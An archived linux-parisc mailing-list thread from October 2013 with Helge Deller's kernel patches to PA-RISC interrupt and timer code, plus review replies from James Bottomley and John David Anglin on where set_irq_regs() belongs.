Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VU1hx-0007Ok-MI
	for glpp-linux-parisc@plane.gmane.org; Wed, 09 Oct 2013 23:54:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755415Ab3JIVyR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 9 Oct 2013 17:54:17 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:62622 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755294Ab3JIVyQ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 9 Oct 2013 17:54:16 -0400
Original-Received: from p100.box ([84.173.43.182]) by mail.gmx.com (mrgmx102) with
 ESMTPSA (Nemesis) id 0LgeFd-1W68ME0R9R-00nx8d for
 <linux-parisc@vger.kernel.org>; Wed, 09 Oct 2013 23:54:15 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:IhyPttDAETwtTiBXBWFsipkBqD76dPlrrHflbNTlDHDk3C34QlX
 EW/b8YnM9M9puNOSkMegR5HqIYq2cYeVR6WoRgQw98/TY6nm/2HRCGH/Aag7cYtzb3KBP49
 cfhmwMIyev1xwVS7pGfQXBY+qic9h2C7izmSmmzWxqSaUVYGTsUjBKw1J3ODHbYmPD/DT/i
 nCM2ZlathS8e6VPiXr3uA==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5368
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5368>

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/irq.c b/arch/parisc/kernel/irq.c
index 2e6443b..c439c05 100644
--- a/arch/parisc/kernel/irq.c
+++ b/arch/parisc/kernel/irq.c
@@ -529,8 +529,8 @@ void do_cpu_irq_mask(struct pt_regs *regs)
 	cpumask_t dest;
 #endif
 
-	old_regs = set_irq_regs(regs);
 	local_irq_disable();
+	old_regs = set_irq_regs(regs);
 	irq_enter();
 
 	eirr_val = mfctl(23) & cpu_eiem & per_cpu(local_ack_eiem, cpu);
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: remove unused syscall_ipi() function.
Date: Wed, 9 Oct 2013 23:56:17 +0200
Lines: 14
Approved: news@gmane.org
Message-ID: <20131009215617.GA30177@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1381355787 30996 80.91.229.3 (9 Oct 2013 21:56:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Oct 2013 21:56:27 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 09 23:56:30 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VU1k3-0007Ok-HO
	for glpp-linux-parisc@plane.gmane.org; Wed, 09 Oct 2013 23:56:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753980Ab3JIV41 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 9 Oct 2013 17:56:27 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:55252 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753551Ab3JIV40 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 9 Oct 2013 17:56:26 -0400
Original-Received: from p100.box ([84.173.43.182]) by mail.gmx.com (mrgmx002) with
 ESMTPSA (Nemesis) id 0MNYxW-1VSN3I3hIg-007Eo8 for
 <linux-parisc@vger.kernel.org>; Wed, 09 Oct 2013 23:56:19 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:RQjyErR2madJ8SP4ut650Krn8W2GsU7EYIIEpCKCWRJcEfQPKbM
 KcvDNzsqQK70q8xXKS17v7gNZyEMlA+tW3BCXOlxNSD+W9X6kyNr27OZTXuZJjurxNbGoRY
 qLIgHxGLrKMdwLuHdxbEBmB6fYHaE4C5eBsTKr1kpeyQT2P9R/PIdjU4p1AazGfJXD/1b6T
 TTt8FyZrLYTX6xLI+Z9sQ==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5369
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5369>

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/traps.c b/arch/parisc/kernel/traps.c
index 04e47c6..ebc877c 100644
--- a/arch/parisc/kernel/traps.c
+++ b/arch/parisc/kernel/traps.c
@@ -291,11 +291,6 @@ void die_if_kernel(char *str, struct pt_regs *regs, long err)
 	do_exit(SIGSEGV);
 }
 
-int syscall_ipi(int (*syscall) (struct pt_regs *), struct pt_regs *regs)
-{
-	return syscall(regs);
-}

From - Thu Nov 08 21:09:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: optimize timer_interrupt() function
Date: Thu, 10 Oct 2013 00:12:50 +0200
Lines: 74
Approved: news@gmane.org
Message-ID: <20131009221250.GA1618@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1381356776 10941 80.91.229.3 (9 Oct 2013 22:12:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Oct 2013 22:12:56 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 10 00:13:00 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VU1zz-00029V-Ur
	for glpp-linux-parisc@plane.gmane.org; Thu, 10 Oct 2013 00:12:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753951Ab3JIWMy (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 9 Oct 2013 18:12:54 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:57267 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752834Ab3JIWMy (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 9 Oct 2013 18:12:54 -0400
Original-Received: from p100.box ([84.173.43.182]) by mail.gmx.com (mrgmx002) with
 ESMTPSA (Nemesis) id 0LskKv-1VwBvJ22zh-012FHs for
 <linux-parisc@vger.kernel.org>; Thu, 10 Oct 2013 00:12:53 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:wivoDISGxBaOcifkFlJpZQPbCuUwoaOQcSyDRivEFY+TnmJztcG
 iFdgIDfNtDK2223y8ksjbUfWiR+280y7kH6QUjPQZY8MnO3ALFXSWqn/m57i6VuqAhM9EVF
 HD2ymC41Ak7Z0poEUc2pO4hjrDLqQcSJygLakQFOMjA682Q4m7H4iCjL3YlXqpsgRqciahM
 QjoXlUYRgWOmTOnluj+ng==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5370
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5370>

Optimize the timer interrupt function to avoid timer_interrupt
delayed/SLOW messages:
- always do the "cheap" math, it's much faster.
- avoid calling mtctl() twice if we want to skip one clocktick
- do the house keeping (update counters) before we printk() some
  warnings

Overall those changes reduced the amount of timer_interrupt kernel
warnings a lot for me.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/time.c b/arch/parisc/kernel/time.c
index 70e105d..5a16c12 100644
--- a/arch/parisc/kernel/time.c
+++ b/arch/parisc/kernel/time.c
@@ -77,7 +77,7 @@ irqreturn_t __irq_entry timer_interrupt(int irq, void *dev_id)
 
 	cycles_elapsed = now - next_tick;
 
-	if ((cycles_elapsed >> 6) < cpt) {
+	if (1 || (cycles_elapsed >> 6) < cpt) {
 		/* use "cheap" math (add/subtract) instead
 		 * of the more expensive div/mul method
 		 */
@@ -105,10 +105,8 @@ irqreturn_t __irq_entry timer_interrupt(int irq, void *dev_id)
 
 	/* Program the IT when to deliver the next interrupt.
 	 * Only bottom 32-bits of next_tick are writable in CR16!
-	 */
-	mtctl(next_tick, 16);
-
-	/* Skip one clocktick on purpose if we missed next_tick.
+	 *
+	 * Skip one clocktick on purpose if we missed next_tick.
 	 * The new CR16 must be "later" than current CR16 otherwise
 	 * itimer would not fire until CR16 wrapped - e.g 4 seconds
 	 * later on a 1Ghz processor. We'll account for the missed
@@ -121,6 +119,20 @@ irqreturn_t __irq_entry timer_interrupt(int irq, void *dev_id)
 	now2 = mfctl(16);
 	if (next_tick - now2 > cpt)
 		mtctl(next_tick+cpt, 16);
+	else
+		mtctl(next_tick, 16);
+
+	/* Done mucking with unreliable delivery of interrupts.
+	 * Go do system house keeping.
+	 */
+
+	if (!--cpuinfo->prof_counter) {
+		cpuinfo->prof_counter = cpuinfo->prof_multiplier;
+		update_process_times(user_mode(get_irq_regs()));
+	}
+
+	if (cpu == 0)
+		xtime_update(ticks_elapsed);
 
 #if 1
 /*
@@ -154,18 +166,6 @@ irqreturn_t __irq_entry timer_interrupt(int irq, void *dev_id)
 			next_tick, now );
 	}
 
-	/* Done mucking with unreliable delivery of interrupts.
-	 * Go do system house keeping.
-	 */
-
-	if (!--cpuinfo->prof_counter) {
-		cpuinfo->prof_counter = cpuinfo->prof_multiplier;
-		update_process_times(user_mode(get_irq_regs()));
-	}
-
-	if (cpu == 0)
-		xtime_update(ticks_elapsed);

From - Thu Nov 08 21:09:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: call set_irq_regs() after disabling local irqs
Date: Thu, 10 Oct 2013 06:17:57 +0400
Lines: 30
Approved: news@gmane.org
Message-ID: <1381371477.17669.62.camel@dabdike>
References: <20131009215413.GA30163@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1381371483 31374 80.91.229.3 (10 Oct 2013 02:18:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 10 Oct 2013 02:18:03 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 10 04:18:06 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VU5pF-0006Zu-QL
	for glpp-linux-parisc@plane.gmane.org; Thu, 10 Oct 2013 04:18:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752688Ab3JJCSE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 9 Oct 2013 22:18:04 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:44279 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752827Ab3JJCSE (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 9 Oct 2013 22:18:04 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 33A0C8EE148;
	Wed,  9 Oct 2013 19:18:03 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id LqZhr6kWUKsh; Wed,  9 Oct 2013 19:18:03 -0700 (PDT)
Original-Received: from [10.10.2.34] (unknown [93.188.120.200])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 038038EE0BA;
	Wed,  9 Oct 2013 19:18:01 -0700 (PDT)
In-Reply-To: <20131009215413.GA30163@p100.box>
X-Mailer: Evolution 3.8.5 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5371
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5371>

On Wed, 2013-10-09 at 23:54 +0200, Helge Deller wrote:
> Signed-off-by: Helge Deller <deller@gmx.de>
> 
> diff --git a/arch/parisc/kernel/irq.c b/arch/parisc/kernel/irq.c
> index 2e6443b..c439c05 100644
> --- a/arch/parisc/kernel/irq.c
> +++ b/arch/parisc/kernel/irq.c
> @@ -529,8 +529,8 @@ void do_cpu_irq_mask(struct pt_regs *regs)
>  	cpumask_t dest;
>  #endif
>  
> -	old_regs = set_irq_regs(regs);
>  	local_irq_disable();
> +	old_regs = set_irq_regs(regs);

I don't quite understand why.  set_irq_regs is just saving the current
regs pointer.  The design intent is to call it first thing in the
interrupt routine but because of the way we use them, it makes no
difference whether you do it before or after disabling interrupts
because it's stacked.  What was the reason for wanting to change it to a
non-standard calling pattern?

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: call set_irq_regs() after disabling local irqs
Date: Thu, 10 Oct 2013 10:32:22 +0200
Lines: 54
Approved: news@gmane.org
Message-ID: <52566616.80101@gmx.de>
References: <20131009215413.GA30163@p100.box> <1381371477.17669.62.camel@dabdike>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-15
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1381393947 20115 80.91.229.3 (10 Oct 2013 08:32:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 10 Oct 2013 08:32:27 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 10 10:32:30 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VUBfW-0003rU-BO
	for glpp-linux-parisc@plane.gmane.org; Thu, 10 Oct 2013 10:32:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752019Ab3JJIc0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 10 Oct 2013 04:32:26 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:57137 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751796Ab3JJIcY (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 10 Oct 2013 04:32:24 -0400
Original-Received: from [10.95.161.236] ([155.56.40.73]) by mail.gmx.com (mrgmx103)
 with ESMTPSA (Nemesis) id 0M1nOg-1VnVnx04Ne-00thBi for
 <linux-parisc@vger.kernel.org>; Thu, 10 Oct 2013 10:32:23 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.0
In-Reply-To: <1381371477.17669.62.camel@dabdike>
X-Enigmail-Version: 1.5.2
X-Provags-ID: V03:K0:qCiSOdckp+bP2aWclV4OjxgM0ilnCtWDhw2esUiQj4tHcphQ0ek
 /Q3KkH8GL1c+X2Rvng2drbN/HAw9l7P/gpQOJ/P5YV8Zx8duy/MD9CFo+JA2yYzKxqC8JSH
 W2cTkLJ/wfSM5j76fwaEh7lK9X9bRsF/LKsjOSs+7nXsIu88XMXZWnWzFkVNIyX+p/q818K
 LV/G/szZH2cwHqG2TGkpA==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5372
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5372>

Hi James,

On 10/10/2013 04:17 AM, James Bottomley wrote:
> On Wed, 2013-10-09 at 23:54 +0200, Helge Deller wrote:
>> Signed-off-by: Helge Deller <deller@gmx.de>
>>
>> diff --git a/arch/parisc/kernel/irq.c b/arch/parisc/kernel/irq.c
>> index 2e6443b..c439c05 100644
>> --- a/arch/parisc/kernel/irq.c
>> +++ b/arch/parisc/kernel/irq.c
>> @@ -529,8 +529,8 @@ void do_cpu_irq_mask(struct pt_regs *regs)
>>  	cpumask_t dest;
>>  #endif
>>  
>> -	old_regs = set_irq_regs(regs);
>>  	local_irq_disable();
>> +	old_regs = set_irq_regs(regs);
> 
> I don't quite understand why.  set_irq_regs is just saving the current
> regs pointer.

...and setting a new one...

> The design intent is to call it first thing in the
> interrupt routine but because of the way we use them, it makes no
> difference whether you do it before or after disabling interrupts
> because it's stacked.  What was the reason for wanting to change it to a
> non-standard calling pattern?

Is it really non-standard?

My first intention was to align the set_irq_regs() and entrance and exit 
to the irq_enter() and irq_exit() functions.
With my change above it's now:
	
	old_regs = set_irq_regs(regs);
	irq_enter();
	do_something...();
	irq_exit();
	set_irq_regs(old_regs);

That's the same syntax as all other arches use.

I think the main question is, if we need local_irq_disable() at all?
At least moving the "old_regs = set_irq_regs(regs);" down after local_irq_disable()
ensures that nobody else modifies the irq_regs pointer before we save it into old_regs.

Helge

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: call set_irq_regs() after disabling local irqs
Date: Thu, 10 Oct 2013 11:05:56 -0400
Lines: 73
Approved: news@gmane.org
Message-ID: <BLU0-SMTP57B7A2BB581E98AB51778D971E0@phx.gbl>
References: <20131009215413.GA30163@p100.box> <1381371477.17669.62.camel@dabdike> <52566616.80101@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1381417592 12842 80.91.229.3 (10 Oct 2013 15:06:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 10 Oct 2013 15:06:32 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 10 17:06:33 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VUHou-0004b0-DR
	for glpp-linux-parisc@plane.gmane.org; Thu, 10 Oct 2013 17:06:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755545Ab3JJPGb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 10 Oct 2013 11:06:31 -0400
Original-Received: from blu0-omc4-s6.blu0.hotmail.com ([65.55.111.145]:35864 "EHLO
	blu0-omc4-s6.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753311Ab3JJPGb (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 10 Oct 2013 11:06:31 -0400
Original-Received: from BLU0-SMTP57 ([65.55.111.135]) by blu0-omc4-s6.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Thu, 10 Oct 2013 08:06:30 -0700
X-TMN: [Uc+h/esoGwuuRcadDGaQ0EhQnjH7rkjz]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.0.181] ([50.100.150.24]) by BLU0-SMTP57.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Thu, 10 Oct 2013 08:06:29 -0700
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:17.0) Gecko/20130801 Thunderbird/17.0.8
In-Reply-To: <52566616.80101@gmx.de>
X-OriginalArrivalTime: 10 Oct 2013 15:06:29.0312 (UTC) FILETIME=[4C37E400:01CEC5CA]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5373
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5373>

I believe do_cpu_irq_mask is called with interrupts disabled (virt_map 
sets PSW to KERNEL_PSW).
So, the local_irq_disable(); line can go.

It does look like set_irq_regs has to be atomic on a per cpu basis.  So, 
if interrupts weren't already
disabled, there would be a problem with current code.

Dave

On 10/10/2013 4:32 AM, Helge Deller wrote:
> Hi James,
>
> On 10/10/2013 04:17 AM, James Bottomley wrote:
>> On Wed, 2013-10-09 at 23:54 +0200, Helge Deller wrote:
>>> Signed-off-by: Helge Deller <deller@gmx.de>
>>>
>>> diff --git a/arch/parisc/kernel/irq.c b/arch/parisc/kernel/irq.c
>>> index 2e6443b..c439c05 100644
>>> --- a/arch/parisc/kernel/irq.c
>>> +++ b/arch/parisc/kernel/irq.c
>>> @@ -529,8 +529,8 @@ void do_cpu_irq_mask(struct pt_regs *regs)
>>>   	cpumask_t dest;
>>>   #endif
>>>   
>>> -	old_regs = set_irq_regs(regs);
>>>   	local_irq_disable();
>>> +	old_regs = set_irq_regs(regs);
>> I don't quite understand why.  set_irq_regs is just saving the current
>> regs pointer.
> ...and setting a new one...
>
>> The design intent is to call it first thing in the
>> interrupt routine but because of the way we use them, it makes no
>> difference whether you do it before or after disabling interrupts
>> because it's stacked.  What was the reason for wanting to change it to a
>> non-standard calling pattern?
> Is it really non-standard?
>
> My first intention was to align the set_irq_regs() and entrance and exit
> to the irq_enter() and irq_exit() functions.
> With my change above it's now:
> 	
> 	old_regs = set_irq_regs(regs);
> 	irq_enter();
> 	do_something...();
> 	irq_exit();
> 	set_irq_regs(old_regs);
>
> That's the same syntax as all other arches use.
>
> I think the main question is, if we need local_irq_disable() at all?
> At least moving the "old_regs = set_irq_regs(regs);" down after local_irq_disable()
> ensures that nobody else modifies the irq_regs pointer before we save it into old_regs.
>
> Helge
>
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
>
>


-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: call set_irq_regs() after disabling local irqs
Date: Fri, 11 Oct 2013 12:54:13 +0100
Lines: 79
Approved: news@gmane.org
Message-ID: <1381492453.2176.21.camel@dabdike>
References: <20131009215413.GA30163@p100.box>
	 <1381371477.17669.62.camel@dabdike> <52566616.80101@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1381492473 8447 80.91.229.3 (11 Oct 2013 11:54:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 11 Oct 2013 11:54:33 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 11 13:54:36 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VUbIi-0004VW-Em
	for glpp-linux-parisc@plane.gmane.org; Fri, 11 Oct 2013 13:54:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753468Ab3JKLyg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 11 Oct 2013 07:54:36 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:48590 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751246Ab3JKLyf (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 11 Oct 2013 07:54:35 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 3C0B28EE148;
	Fri, 11 Oct 2013 04:54:35 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id EzMGKEEL6tA9; Fri, 11 Oct 2013 04:54:35 -0700 (PDT)
Original-Received: from [10.101.1.168] (unknown [176.12.107.140])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id C9E9E8EE07F;
	Fri, 11 Oct 2013 04:54:26 -0700 (PDT)
In-Reply-To: <52566616.80101@gmx.de>
X-Mailer: Evolution 3.8.5 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5374
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5374>

On Thu, 2013-10-10 at 10:32 +0200, Helge Deller wrote:
> Hi James,
> 
> On 10/10/2013 04:17 AM, James Bottomley wrote:
> > On Wed, 2013-10-09 at 23:54 +0200, Helge Deller wrote:
> >> Signed-off-by: Helge Deller <deller@gmx.de>
> >>
> >> diff --git a/arch/parisc/kernel/irq.c b/arch/parisc/kernel/irq.c
> >> index 2e6443b..c439c05 100644
> >> --- a/arch/parisc/kernel/irq.c
> >> +++ b/arch/parisc/kernel/irq.c
> >> @@ -529,8 +529,8 @@ void do_cpu_irq_mask(struct pt_regs *regs)
> >>  	cpumask_t dest;
> >>  #endif
> >>  
> >> -	old_regs = set_irq_regs(regs);
> >>  	local_irq_disable();
> >> +	old_regs = set_irq_regs(regs);
> > 
> > I don't quite understand why.  set_irq_regs is just saving the current
> > regs pointer.
> 
> ...and setting a new one...
> 
> > The design intent is to call it first thing in the
> > interrupt routine but because of the way we use them, it makes no
> > difference whether you do it before or after disabling interrupts
> > because it's stacked.  What was the reason for wanting to change it to a
> > non-standard calling pattern?
> 
> Is it really non-standard?

